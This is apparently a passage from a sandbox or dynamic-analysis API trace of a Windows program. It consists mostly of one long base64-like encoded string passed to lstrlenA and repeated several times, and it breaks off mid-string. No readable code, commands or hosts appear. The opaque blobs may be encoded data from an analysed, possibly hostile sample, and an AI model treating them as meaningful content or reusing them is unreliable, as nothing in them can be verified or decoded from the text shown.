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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+r